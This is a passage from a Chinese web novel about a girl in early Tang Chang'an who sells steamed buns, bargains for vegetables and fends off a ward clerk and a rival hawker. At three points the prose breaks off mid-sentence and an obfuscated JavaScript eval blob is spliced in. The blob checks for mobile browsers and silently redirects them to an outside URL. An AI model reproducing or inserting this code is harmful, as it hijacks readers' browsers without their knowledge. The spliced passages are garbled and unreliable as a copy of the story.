而且,因为家里的儿媳才生了孙儿,家里人这段时日的心思全在照顾儿媳和孙儿身上,他最近吃到早膳的时间也越来越晚。 摸了摸袖袋里的钱袋,既然如此,他今日是不是可以先吃点蒸饼垫垫胃? 心动就行动,付坊吏拉开房门,便瞧见了站在窗外的身影。 就站在他窗下吆喝,难怪听得这么清晰。 “那双丫髻小娘子,你过来。”付坊吏招手喊道。 童白表情一僵,这人喊的还挺有特色。不过潜在顾客,还有可能是今日开张的顾客,她定然是要热情相待。 童白嘴角上扬,轻快道:“官爷,您可是想要尝一尝这暖呼呼、香喷喷的蒸饼?我家这蒸饼,用的是咱长安城南菜园子里的白菜切丝加上西市猪肉摊上的上好猪板油熬制的猪油渣,焦香酥脆,再加上纯麦面做的暄软白……” 付坊吏被她这一番话勾得腹中馋虫蠢动,咕咕作响,“咳,小娘子说的这蒸饼怎么卖?” 崇延坊四个坊门,各有坊吏值守,开坊闭坊,巡视坊内情况,虽然连官都算不上,却是小老百姓眼中的官爷。 童白眼神不动声色地扫过对方身上的深色吏服,掀开絮布,将散发着热气的白软蒸饼显露出来: “黄金油渣蒸饼,两个大钱一个,三个大钱两个,猪油萝卜丝蒸饼,一个大钱一个,两个大钱三个,” 童白露出真诚的笑容,“官爷是今早头一位顾客,奴做主了,买一个油渣包蒸饼便送您一个猪油萝卜丝蒸饼尝尝味儿!都是才从灶炉上取下来的,热乎、吃了浑身暖和好当值!您看要几个?” 19. 第一次挎篮叫卖 晨雾裹着寒气渗进骨髓,两人呵出的白气在巷角凝成霜。童白却浑不觉冷,只亮着眼看向叫住她的坊吏。 开张生意,可不兴不要钱。 哪怕是坊吏都不行! 但对吃拿惯了的坊吏来说,她不给些优惠又不行。 毕竟在这时候,官家命令禁止在坊间从事商业行为,而那些挎篮行走的妇人之所以敢售卖,不过是新朝初建,长安百姓的日子实在是太苦了,律法之外还有人情,巡逻的武侯和坊吏睁一只眼闭一只眼行的方便罢了。 童白索性将开张生意给的优惠说了出来。 她这点小心思,付坊吏根本没在意,他的注意力全随着掀开的絮布,牢牢钉在竹篮里的蒸饼上。 他也没少在外买蒸饼吃,但像这般透着金黄色油皮,形状圆润、挺立饱满的蒸饼却是头一回见。 看着就觉得会好吃。 见他目不转睛的模样,童白特意将手提灯笼抬的离竹篮更近了些,“透着金黄色光泽的便是黄金油渣蒸饼,柳叶形状的是猪油萝卜丝蒸饼。” 第一日卖蒸饼,选择的馅料都是童白思索一番后才决定。 她参考了坊间和西市包子的大小以及馅料和面皮的占比比例。考虑到坊间的卖价低于西市,且蒸饼做起来并不复杂,在缺少调料和原材料的这里,想要吸引坊间的顾客群体,味道是一方面,但价格才是关键。 愿意为美味吃食花钱消费的群体集中在西市里的食楼、食铺。偶尔也会光顾小摊,但来坊间买提篮的蒸饼,她觉得几率很低。 所以,哪怕是买下了许多的猪皮,童白也没打算第一天开摊就卖灌汤鲜肉包。先用白菜油渣包探探路再说,毕竟这个卖不掉,也能自家吃了或者送人,起码不会浪费。 付坊吏指着一直诱惑着自己的透油皮蒸饼道:“给我先来一个黄金油渣蒸饼。” 童白用挂在竹篮边上的竹夹子夹了个蒸饼放入敞口桑皮纸袋递给付坊吏。 这样既能不烫手,又保证了卫生。坊间卖的,大多使用树叶裹着。 付坊吏大咬一口,焦黄油渣混着滚烫猪油在舌尖炸开,丰腴肉汁裹着麦香冲进喉头。酥脆油渣在齿间咯吱作响,滚烫汁水顺着指缝流下,烫得他嘶嘶吸气却舍不得张口。他恍惚想起一年前他随着军队得胜归朝时,圣人赐的那碗驼蹄羹,也不过如此! 很快,女子巴掌大小的蒸饼就这么吃完了。他砸吧下嘴,“再给我拿四个,哦,不,再来五个!”一个根本不够吃。 虽然童白对调制的馅料很有信心,也是奔着坊吏来的目的才会直奔这里来吆喝的。 却没想到如此顺利。 “好咧,您稍等一下,我用两个纸袋分开装可行?”昨日用糊灯笼的废纸折了几个不同大小的纸袋,没想到这么快就要用上了。 大纸袋是按照装四个蒸饼的大小做的,五个黄金油渣蒸饼,加上开张生意送的一个猪油萝卜蒸饼,分开两份装。才装好四个黄金油渣包。 付坊吏道:“行了,那两个别装了,我现在就吃。”说着,把适才用过的纸袋递给童白。 童白接过纸袋,添了两个进去,“六个黄金油渣蒸饼,猪油萝卜蒸饼是送开张送的,共九个大钱。” 付坊吏边吃着边摸出九个大钱递过去,童白伸手去接,坊吏手心紧攥,“后日你还会来卖吗?”他明日休息,后日上值。 童白点头,“后日我再在这个点来这边。”收好大钱,她真心笑道:“您吃好。”转身入了巷子里,贴着巷道里的墙角根边走边吆喝着。 为了在坊间挎篮售卖蒸饼,她提前在坊里踩过点。 外地商人是她选择的第二目标用户。只不过,这些人租赁的院子大多要到东西两市开门的时候才会打开,她并不确定今日这么早,会不会能卖出去。 坊间流传着什么‘东富西贵’的言语,导致东西向的宅子要比南北向的好租赁些,租赁的价格也高一点。 而童白便是先来到了坊东,找到之前踩点的位置,童白又开始吆喝了。 按照日落而息日出而作的作息时间,天色将亮未亮的时候,既是一日中最冷也是一日中最容易醒来的时间段;而,刚醒来的时候,便是腹中饥饿最难耐的时候,而童白专门设计过的吆喝话语,就是最好的诱惑力,勾的外地商人一个个地还没起床就想着进食了! “吱呀”一声开门声,“那个小娘子,你家的蒸饼怎么卖?” 有了第一个很快就有第二个,这些外地商人不像长安本地人,哪怕馋,大多也都舍不得在外买吃食。 他们的家不在这,这些人平日里也就会烧个热水什么的,要让他们做饭是不太可能的,所以一日饭食都是在外食用,而这些人,也是坊间叫卖的人家最大的客户群体。 远处传来坊门开启的沉重吱嘎声,混着巡夜梆子渐歇的余音。 童白吹熄灯笼,在鱼肚白的天色中,匆匆从坊东往西走,胳膊上挎着的竹篮的重量也减轻了一半,腰间的荷包也微微鼓胀了起来。 她选择的是行人比较多的主干道,那种小巷道,别说这会儿她不敢走,就连大白日,坊间人流量最大的时候,她也不敢走的。 虽然朝廷有安排武侯巡视,但武侯所负责的区域不小,难免无法全部顾及。 匆忙赶到坊西,就见外地商人的租赁的宅子外,已经来了三个坊间叫卖的妇人,其中便有童白前两日买过蒸饼的那位雀斑妇人。 同行见同行,两眼都是红通通的,童白边缓着呼吸,边往宅子的大门处移动。 走到半路的时候,要不是她眼尖侧身避过,差一点就被暗处伸出的脚绊得踉跄。 童白挎着竹篮的手臂早已冻得麻木,她吸了吸冻得通红的鼻子,强行忍住想要跟人叫骂对峙的冲动,找了个位置站定,深吸一口气,开始唱起来:“坊东的说童家的黄金油渣白菜蒸饼香,坊西的却说猪油萝卜丝蒸饼香……” 这是她想过的既能吸引客户又能阐明买点的办法,用顺口溜的方式来代替吆喝。 她这样的做法惹得旁边的几个妇人露出鄙视的目光。 “呵,就跟那楼里卖唱的似的。” “就是,好像这样就能引来郎君们买蒸饼了似的。” 童白才不管她们怎么说,有用没有,试了才知道。再说了,她今日新来的,不弄点不一样的东西,如何吸引顾客的注意? 难道真的跟这几个妇人挤着去门前售卖吗? 瞧了眼几个妇人的身躯,再看看自己的,童白觉得,哪怕卖钱很重要,但也不至于要以命相搏。 还别说,她唱了没多久,院门竟然从里面拉开,从中走出来一名中年男子。 其他妇人“咻”地围上前,掀开絮布,露出里面的蒸饼来。 “严管事,看看我做的鲜肉蒸饼,皮薄肉多,鲜着呢……” “我家这花椒叶鸡卵子蒸饼,不仅素净还鲜嫩……” “……” 童白围观着几名妇人用着宽阔的身躯挤着对方,在那位中年管事面前的兜售行为,一阵无言。 刚才还嫌弃自己呢,这会儿,她们难道不是想尽办法推销自家蒸饼? 哼,大哥别笑二哥。 严管事扫视一圈,目光在几个妇人篮子里停留片刻,最后才落到童白身上,“刚才那位唱词的小娘子是谁?某想要买上些黄金蒸饼。” 若是他单独出门,不管外面的小娘子唱的再好听,都不会吸引他,但是这一趟出门,老爷让他带一带二少爷,二少爷人小,对新鲜事物保持着旺盛的好奇心,一听黄金蒸饼就嚷嚷着要吃…… 童白上前一步招手示意,“严管事,黄金蒸饼在这,都还是热的,我用的是……”噼里啪啦地,童白清脆的声音将她那一套吆喝推销的说辞又说了一遍,最后一句强调道:“我这油渣是独家秘方熬的,保证您没吃过这味儿!” “好了,就你家了,”严管事被这双丫髻小娘子的吆喝词语说馋了,“大家伙儿让一让,让这小娘子进来。”好大的口气,保证他没吃过,他偏要试一试。 这位管事的话语很有用,他面前原本拥挤着的地方瞬间让开了一条通道来,童白朝几位瞪眼瞧自己的妇人看了一眼,板着脸走到中年管事面前,不是她不愿笑,实在是,这个时候,她要敢笑,就怕有哪位婶子忍不住挠她一爪子。 当然这只是她内心腹诽的,事实上,真要挠,也不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042879|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当着这么多人吧? 不过童白不敢赌。 掀开絮布,露出里面还带着温热的蒸饼,面皮透着油,看着就诱人。 “黄金油渣蒸饼,两个大钱一个,三个大钱两个,猪油萝卜丝蒸饼,一个大钱一个,两个大钱三个。现在还有十个黄金蒸饼,七个猪油萝卜蒸饼,”猪油萝卜蒸饼卖的便宜点,坊东那边买的比较多,“管事叔,您看您要多少个?” 那中年管事挥手,“小娘子随我进来吧,我都要了。” 童白双眼放光,心想,这可真是大客户啊! 打听来的消息可是坊东的客商要比坊西的大方,怎么事实却是不一样呢! 不过这时候她也没心思想这个,跟在中年管事的身后进了宅院。 其他妇人见这家管事没买自家蒸饼,瞪视了一眼童白的背影,行色匆匆地赶去了别的地方售卖蒸饼,只有雀斑妇人,七拐八拐的去了个无人的巷子角落,跟等在那里的马脸妇人低声交谈。 马脸妇人:“你瞧清楚了没?是那童家的?” 雀斑妇人点头,眼中全是算计:“我肯定没看错,现在咱们怎么办?” 马脸妇人嘴角勾起,“什么咱们,让你弄来的东西,搞来了吗?”话音还未落便见对方从挎篮里扯出个纸袋,一把接过,“你在这等着,我去去就来。”说着,扭着腰,朝西坊门走去。 雀斑妇人眼睛一直盯着她,直到马脸妇人身影消失在视线内,才低声啐了句,“□□,卖**的小娼妇。”说完,左右瞧了瞧,见着没人关注她这边,才往城东而去。 等童白从里面出来时,院门外的妇人们都已然不见了。童白清楚,这些人是去别的地方售卖蒸饼去了。 她顺着主道往双梧巷走去,不知道的是,在她离开没多久,马脸妇人领着个斜眼坊吏来到坊西的宅子前, “确定是在这里售卖蒸饼?”斜眼男子看向马脸妇人,殊不知马脸妇人只能看到眼白,渗人的很。 马脸妇人忍住哆嗦,迎上前,左手抚住对方的右胸口,笑道:“奴家听说是的,具体的情况,还需要大人细查呢。” 斜眼男子对妇人的触摸十分受用,脸上神情一缓,伸手在妇人束腰下方掐了一把道:“你答应我的事可不能不算数。” 马脸妇人侧身,垂下脸掩去了眼中的不屑,说出来的话语却是:“奴家晓得的。” 斜眼男子咧开嘴,露出黄黑的牙齿来,“嘿嘿嘿”的笑了起来。 童白对这些暗涌浑然不觉,兀自在心中盘算着今日的盈亏。 准备的四十个蒸饼,除了给坊吏大人和严管事两边各送一个的萝卜丝蒸饼,一共卖得了四十二个大钱。 去除原材料钱外,估摸着也就赚个十来个大钱。若拿去买米粮,省着点吃,勉强够一家人吃上两日。 唉,真是赚钱不易啊! 进双梧巷后,瞧见前方一位挑着扁担的驼背老汉,身后跟着位脸色惨白老妪。扁担两头的筐里,装满白菜和萝卜。两人头凑在一起嘀咕。 说是嘀咕,其实那声音并不小。 “甜妞说的那童小娘子的家是在哪来着?”老汉的声音如同暮钟一般。 老妪浑浊的双眼左右瞧了瞧,“我听她张婶子说,是在靠北门这条巷道进去最里面那一户。” 老汉一听,闷着头就往里走。 童白快走几步,扬声道:“前面可是甜妞的爷爷奶奶?我是童家小娘子,正等着您二老呢!” 两人闻声回头。老汉面容黝黑布满沟壑,背有些佝偻;老妪脸色苍白,嘴唇更是泛着异于常人的淡紫。 “小娘子便是那童家的小娘子?”老妪开口确认道。 童白点头,几步跨过俩人,走到前面,笑道:“我在前面领路。” 老两口对视一眼,跟着上去。 几乎是童白才在童家院门前站定,“吱呀”一声,院门从里面拉开。 白氏怀里抱着‘咿咿呀呀’的四郎,二郎牵着三娘,出现在童白面前。 几双眼睛先是飞快地扫过童白臂弯里的竹挎篮,才落到院门外的陌生老夫妇和那两筐菜蔬上。 白氏侧身让开:“快请进来说话。” 20. 坊吏大人查问来了! 童白先进了院子,张老汉和老妪紧跟在她身后。 二郎上前几步,接过童白挎在手臂上的竹篮。 嗯,轻了。 二郎眉眼弯弯,瞧了眼院子里的人,没多言语,拎着竹篮去了灶屋。 张老汉将竹筐放在地上,老妪局促地站在他身旁,躬着腰背。 “童小娘子,”张老汉用浑浊的眼球将院子里的人都打量了一遍,最后指着竹筐里的菜朝童白道:“不知小娘子是打算按重量买还是按棵数买?” 童白蹲在地上,把手里的白菜和萝卜挨个打量。 要想做出来的食物好吃,除了方子和制作技术外,原材料的好坏也至关重要。 张老汉也没阻止,还道:“小娘子可以把它们都放在地上,比对一番,我家菜园去岁收获的萝卜和白菜大小和好赖都差不太多。” 童白闻言,便也这么做了。 说实话,窖藏一冬,自然是比不过才从地里摘出来时的新鲜。 但能保持这般的品质,已然不易! 童白越发相信张娘子说张老汉家曾经辉煌过的话不是哄她的,毕竟,从这一手存储菜蔬的手艺便能窥探出一二。 不动声色地掂了掂菜蔬的重量,“按重量吧。”经过一冬的窖藏,萝卜还好,白菜外面几层干透了,好在没有轻飘飘的。 “萝卜老汉现在是按三个大钱一斤卖,白菜是按照四个大钱一斤卖。” 童白点头,张老汉报的菜价是去岁秋日冬储菜的收购价,上回问卢婶子时便已知晓,她看向张老汉,等着他继续说。 “这段时日过去后,开春天气一日暖过一日,菜便存不住,小娘子就按萝卜两个大钱一斤、白菜三个大钱一斤给吧。”张老汉道。 童白手一划拉:“萝卜按三个大钱两斤,白菜两个大钱一斤。”话语一顿,给了张老汉的思考时间,“若是觉得这个价格可以,萝卜和白菜各要两百斤。” 张老汉报的是去年秋收冬储菜的价。眼下虽缺菜,但天气转暖,新菜上市在即。若非急需做酸腌菜,童白也不会买这么多。 听到童白还价的张老汉不由抬起眼帘仔细打量了童白几眼,似是没想到这家人当家的竟然是家里的小娘子。 白氏听到童白跟张老汉来回出价,看着堆积如山的菜,嘴唇哆嗦得更厉害了,欲言又止。 被卖之前,她家里里外外全是父母操持,她无需挂心。进崔府后,奴婢们只要有自己那一份吃的就成,更不用她操心。哪怕嫁给童爹,也不用自己当家,吃住都在崔府。 不出府不知道,外面的妇人需要操心这么多事,米粮、菜蔬、柴、油、衣物……样样都需要精打细算,而这些却是她缺失的。 正是因为这一份缺失,她家女儿也因而…… 白氏心中突然涌出一阵复杂的情绪,既懊恼又自责。 “可,”张老汉应声道,“我们明后日也是在这个时辰,会过来送菜,” 萝卜三百个大钱,白菜四百个大钱,共七百个大钱,张老汉身旁的老妪浑浊的眼中燃起了光芒,这点钱在几年前来说算不上多,但新朝初建,大钱却是越来越值钱了! “嗯,至于契书,咱就不去县衙立了,只望老汉您能信守承诺。”这七百个大钱用完,童爹的饷银也所剩无几了,去县衙立契书花费可不老少,所以一般说来,不会去县衙立契书。 “小娘子放心。”张老汉保证道。 童白拿出家里的秤,和张老汉一同将菜蔬过秤,“今日的白菜有七十八斤,萝卜五十六斤,加上昨日的白菜十五斤和萝卜二十斤……”童白心中默算,不假思索地报出:“萝卜七十六斤共一百一十四个大钱,白菜九十三斤共一百八十六个大钱,合计三百个大钱……” 话音刚落,院子里安静的落针可闻。 童白正感慨钱数的巧合,未曾留意张老汉的怔忡、白氏脸上的震惊与复杂,以及二郎眼中闪烁的崇拜。 怎么说呢,在没有九九乘法表的这里,大家算数的方法千奇百怪,但没人能像童白算得这般迅速。 一刻钟后,张老汉道:“是三百个大钱。”眼中闪过一丝惊讶,低声对身旁的老妪说:“我算了这么久,但这娘子算的可真利落。” 童白仰起头,指了指一边放在框上的三百个大钱道:“老汉,点点。”钱货两清比较好。 原来,就在张老汉手脚慌忙地算账时,童白早已数好大钱放在一边。 这些是她昨日去西市用纹银兑换的。 说是大钱,武德年间,开元通宝暂还没有出来。所以这会儿的钱是真的很大,尺寸上的大! 战乱年间,金银是硬通货,大钱贬值的厉害,百姓间宁可以物易物也不愿用大钱交易,像是童爹用绢布买下这幢院子便是典型的以物换物的交易。 不过,唐朝已建立,有官家作保,这一年大钱渐渐被百姓频繁使用。 交易完成,送走张老汉和老妪。 童家人围在童白身边,脸上的好奇一点也没遮掩,却没人开口说话。 童白明白,她们想知道蒸饼的售卖情况,“除了送了两个萝卜丝蒸饼,其余的蒸饼都卖出去了,卖了四十二个大钱。”至于说去除采买原材料、木柴后,还能赚多少,也就一瞬,童白就算了出来,“这一早上,咱们赚了约莫二十个大钱!” 二郎眼睛亮晶晶地看向童白,“二十个大钱可以买四斗粟米呢!”他跟童白去了几趟米粮行,对市价记得牢牢的,想着四斗粟米家里能吃上个半个月,边欢呼边雀跃地跳了跳,“哇喔!” 童白挑眉看向二郎这难得活泼的一幕,心里对决定提篮在坊间叫卖的这个决定再次庆幸。 三娘听不懂阿姊和阿兄在说什么,但她能感受到阿兄的开心,她也跟着二郎一起欢呼:“哇喔,哇喔!” 四郎更听不懂,但见着地上欢呼着的两个人,他也张嘴咿呀咿呀叫。 一时间,童家院子里全沉浸在靠美食攫取第一桶金的欢乐中。 唯有白氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042880|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不一样,她看向童白的眼神晦暗不明,心里一方面为了能赚到大钱而开心,另一方面却又忍不住怨恨,这一切怎么不是她自己的女儿所赚到的呢! 两种情绪交汇在一起,让她整个人的面色和气场都变得十分奇怪,就在大家都兴奋的时候,她幽幽道:“这么,也不知道多久才能换上暖和的衣裳。你阿爹的月饷只有两贯(2000大钱),七百大钱已是全家半季嚼用。” 这话一出,院子里瞬间安静下来,二郎惴惴不安地看向白氏,又瞧了眼另一边的童白,不知道该如何说话。 三娘被他们之间的气氛吓到,几步躲到了二郎的身后,偷偷探出脑袋,一脸担心地看向阿娘和阿姊。 正好此时一阵寒风吹过,激的院子里除了抱在怀中的四郎外的其他人的身形都瑟缩了一下。 冷,是真的冷! 童白对白氏名为点醒实则打击的话语,心生不喜,却好脾气解释道:“傍晚的时候还可以去售卖一次,一日下来,怎么也能有三十多个大钱。”她保守估算,“后续,有了老主顾后,生意应该会更好一些。” “阿姊,我去帮你!”二郎想要做点什么,但也怕家里人不同意,着急说:“我在坊间瞧到过有孩童帮着一起售卖的。” 三娘最喜欢跟着二郎一起,“我也要陪阿姊、阿兄去,”亮晶晶的眼眸,小手在空中比划着,“我要跟买蒸饼的婶子说,阿姊做的蒸饼会流油,好次。”说得含糊不清,小嘴里已汪满了口水。 童白心头一暖,揉了揉二郎的头,又摸了摸三娘头上的小揪揪,脸上泛起真诚的笑容。 “嗯,你们都来帮忙!” 白氏看着这一幕,心下一痛,二郎出生的时候,大女儿已然九岁,更多的时候是在府中嬷嬷处学习规矩,姐弟俩接触的少,她知道姐弟俩关系不咋亲近,却没想到,二郎却跟‘她’关系如此紧密,连带着三娘也…… 但,这时候她也不知道再说什么,眼帘垂下,摊在地上的萝卜和白菜就这么进入她的视线。 吃食生意虽然赚了大钱,但家里一下子买这么多菜,“这菜,你打算怎么处理?”会不会烂掉?是不是太冒进? 视线扫过一旁穿着深褐色麻衣的二郎和三娘,那粗糙的布料以及她们面上的笑容,显得格外刺眼。 童白不知道白氏在想什么,但她以为民以食为天! 语气轻快道:“一部分用来家里吃,一部分制作酸腌菜。” “酸腌菜?你不打算卖蒸饼,改卖这个了?”白氏似是找出了童白什么错处一般,声音拔高,厉声质问。 童白忙解释:“阿娘误会了,蒸饼自然还要卖!做酸腌菜,一来能存住这些菜,家里慢慢吃不糟蹋;二来,腌好的酸菜,兴许能单卖……”话到一半,她眼眸倏地一亮,“对了!或许还能用它做新馅儿的蒸饼!” 白氏还想说什么,却被突然来的敲门声给打断。 一道尖利的女声穿透门板:“童家的!开门!坊吏大人查问来了!” 21. 白氏,后悔了 院内的童家人被这骤然响起的拍门声震得身躯一颤。 童白竖起食指抵在唇边,示意其他人噤声,她悄声移动到门边,透过门缝往外看。 白氏屏住呼吸,二郎紧紧抓住衣角,三娘瞪大了眼,小手压在唇上,就连在白氏怀里的四郎都感觉到了紧张,停止了咿呀声。 门外,一马脸妇人正朝身旁那个面色不善、眼珠歪斜、身着深色吏服的身影媚笑。 童白眉头轻蹙,这妇人,不是…… 或许是门内的人没有响应,来人再次拍门的动作带上了不耐烦。 “砰砰砰……”童家院门被震得直晃。 童白看向白氏,见她没有出声的打算,她快速移动到院子中,轻咳一声,应道:“谁呀?稍等。”装出一副才听到动静的模样。 白氏被童白这声假咳惊醒,一手紧紧攥着二郎,一手护着三娘,连连往主屋方向退去。 战乱了那么些年,这种反应可以说算得上本能了。 童白拉开院门,门外站着的马脸妇人撇嘴叉腰道,“这么慢,你在里面做贼吗?”说着,扭着腰,直接进了院子来。 那斜眼坊吏的视线粘腻地停留在马脸妇人的腰臀处,也跟着踏进了童家院子。 家里没有成年男子,又是一副来者不善的模样,童白将院门敞得更开。 二郎从白氏身后探出头来,眼睛在俩人身上来回梭巡,可能是他打量的目光过于明显,被马脸妇人啐道:“死小孩,看什么看!” 二郎下意识地缩回了身子,而三娘则被吓得直打嗝,嘴里还道:“没,没,看……” 童白心头一股无名火‘噌’地窜起,直冲脑门。 她强迫自己深吸一口寒气,尽量语气平和:“不知坊吏大人上门来所为何事?” “何事?”马脸妇人单手叉腰指向童白,“大人接到消息,说小娘子你违反律法,在坊内售卖吃食,特来查问!”尽显狐假虎威的作态。 白氏闻言,脸色瞬间惨白,手指不自觉用力,抓得二郎和三娘的小手生疼。 但俩孩子此刻却没发出任何不适的声音,二郎身躯微微向童白那边倾斜,若是没有白氏扯着手,估计已然跑到童白身边了。 童白心下一凛,大唐律法明面上是禁止在坊内随意设摊售卖的,东西二市才是正经交易之地。 只不过这天下初定,官府管束不严,加之民生多艰,坊间私下的小买卖,只要不闹大,官吏们多是睁一只眼闭一只眼。 童白眼神一转,视线扫过马脸妇人,这妇人同她一起在谢家做过短工。 还因为自己被选中在小厨房做活,双方争吵了几嘴,所以全在这擎等着呢! 童白只觉一股寒意顺着脊梁骨窜上来,稳了稳心神,她朝斜眼坊吏垂首恭敬道:“大人明鉴,奴冤枉啊!” 坊吏尚未说话,马脸妇人先跳出来道:“哼!童小娘子可真会睁眼说瞎话!”说着,拿出个用桑皮纸包着的蒸饼,“你敢说这不是你在坊间售卖的?” 嘴角微扬,心下得意:还好有证据! 童白视线扫过那蒸饼,眼神闪了闪,又仔细看了一瞬,忽然笑着指向蒸饼,“这蒸饼的碱面味过重,定是发酵时没控制好,奴做的蒸饼可不是这样。”她去到灶屋,从碗橱里拿出自家留着吃的蒸饼放在瓦碗中,特意掰开凑到斜眼坊吏鼻前。 浓郁纯粹的麦香裹挟着油渣特有的焦酥脂香,霸道地弥漫开来。 童白:“大人请看!”高下立判。 斜眼坊吏本想发作,却被香气勾得喉结滚动,竟一时语塞。 童白:“坊吏大人要不尝尝奴的手艺?若真违规,任凭处置;若好吃……还请大人明辨是非。” 斜眼坊吏张嘴便想应下,他早已习惯了百姓的‘孝敬’。马脸妇人眼见不对劲,出声打断道:“你,这是想要拉大人下水!”声色俱厉,却偷偷将那蒸饼收入袖袋中。 难免有些心虚。 童白一脸肃穆地看向马脸妇人:“这位大婶还请慎言!奴阿爹乃延寿坊崔将军麾下校尉,朝廷饷银从未短缺过,试问将士家眷何需行此违规之举?”没等对方回答,继续道:“再说了,哪怕真遇到家里困难。日子过不下去了,我还可以去求去延寿坊崔家。” 大唐初建立不满一年,各地权贵军阀势力各自为王,朝廷集结了好几路军队在与这些顽固势力打仗,对这些军士的待遇也不算差。 童白亮出身份来,也是侧面提醒坊吏,别看她童家生活贫苦,但因童爹在兵营服役,也不是随便能欺压的。 她这一段话,不出意外地引起坊吏的注意,“小娘子阿爹是延寿坊崔将军麾下校尉?” “是!”童白掏出绣了‘崔’字的荷包来,双手展开,“这荷包便是前几日崔将军麾下亲兵送给来我家的。”重音咬在‘亲兵’二字上。 坊吏虽只是唐朝官吏体系内最下层的吏员,但也却是明白那些个复杂的关系。 他仔细瞧了瞧童白手上的靛蓝半旧荷包,将视线移到童白面上,“小娘子既是校尉大人家眷,自然是明白朝廷的律令,分得清什么事该做什么事不该做……这趟某前来,”他视线从童白身上移到白氏身上,龇着一口黄黑的牙,‘嘿嘿’干笑了两声,目光却像黏腻的苔藓般逡巡:“若有惊吓到你们,还请嫂…夫人原谅某。”眼帘一抬一落,将白氏姿打量了一番。 白氏身子瑟缩了下,微微垂头。 马脸妇人见状,也顾不上这趟前来的目的是什么,慌忙上前一步,正好挡在坊吏和白氏之间。 这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042881|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番全落在了童白眼中,她往侧边跨了一步,遮住了白氏另一边,拱手道:“谢坊吏大人明察秋毫!待阿爹得胜归来,奴自会跟阿爹说此事的。” 坊吏听到这话不耐地皱起眉来,这小娘子什么意思,自己还能怕了个曾经是家奴的军士? 不过视线扫过童白刻意显露在外的‘崔’字荷包,蹙眉冷声道:“哼,看在崔将军面上,这次就算了,再有下次……”,那就不是一个荷包能糊弄过去的事了! 马脸妇人急不可耐地插嘴:“大人!别听她胡诌!什么崔府校尉家眷,若真如此,怎会住这破落巷子,还要挎篮卖蒸饼?”伸手去抢童白手中荷包,“你说这是延寿坊贵人给的就是了?我还说这是你们胡乱攀扯贵人呢!” 坊吏听到这话,朝院门迈开的脚步一顿,眼神阴鸷地朝童白看去。 童白躲开马脸妇人的动作,大喊道:“你要不信,我可以现在就带你去延寿坊!”吵架最忌自己心虚气短。 别人都闹上门来了,她还怯懦的话,岂不是擎等着被欺负吗? 所以童白的声音一点也不小,加上最近每日吃的也很饱,她中气十足。 院外传来好几道“吱呀”的开门声,明显是童家的动静引得邻居们的主意了。 马脸妇人被童白这突来的大声给吓到了,视线不由看向坊吏,坊吏瞪她一眼,转身往院外走,“望小娘子好自为之!”临出门前,沉着脸扫视童家院子一眼。 马脸妇人见他都这么说,只能悻悻地跟在其身后。出门前专门扭过脸来朝童家人“呸”了一声。 等俩人消失在童白等人的视线。 二郎用力将手从白氏紧握的掌中抽出,跑去院门处,探身朝巷道瞧,很快缩了回来,打算将院门合上。 童白抵着门缝,探出头朝听到动静而站在家门前的邻居微笑着点点头,将门闩插上。 落闩的‘咔哒’声在死寂的院子里显得格外清晰,随后是几人粗重不一的喘息声在冰冷的空气中回荡。 一股难以言喻的沉重阴影笼罩在每个童家人的心头。 此时,白氏怀中的四郎终于憋不住,‘哇’地一声哭了出来! 白氏边踱步边轻拍着安抚四郎,目光扫过地上堆积如山的萝卜白菜,又落回童白身上,声音带着哭腔:“这下,蒸饼都没法去售卖了!这些菜蔬,不若退了吧!” 是!眼前之人做的粟米粥和蒸饼味道很好,也惹得谢家上门想要买了她去做厨娘。 但现在被坊吏盯上了! 还如何赚钱养家? 她当初将大部分饷银交给占据女儿身体的‘她’,除了试探外,更多的想要换取对方对二郎他们的照顾。 现如今看来,她或许做错了。 白氏,后悔了! 22. 摊牌与后手 “退掉?”童白摇头,拒绝地干脆利落,“不退!” 随着她的动作,被阳光镀上一层浅金色外膜的额角碎发,生动地舞动了一下。 白氏眯着眼,仔细打量着面前之人,发肤皆是她的女儿啊! 若魂儿也是,她绝对会站在女儿这边,但,不是。 这一点让白氏莫名涌上一股子火气,呛人的话语脱口而出:“你以为能用那荷包威慑几回?” ‘她’或许有着制作美食的手艺,也比自家女儿更能适应市井生活,甚至于,比她这个做娘亲的都要强上不少,但她并不是自己的女儿! 所以,她为何要容忍‘她’将灾祸引进门? 二郎敏锐地感觉到阿娘和阿姊之间的不对劲,他一边拍了拍因害怕而缩在自己身边的三娘,又上前几步,拉了拉童白的衣角。 但这会儿的童白哪里有心神管顾二郎,只想摊牌! 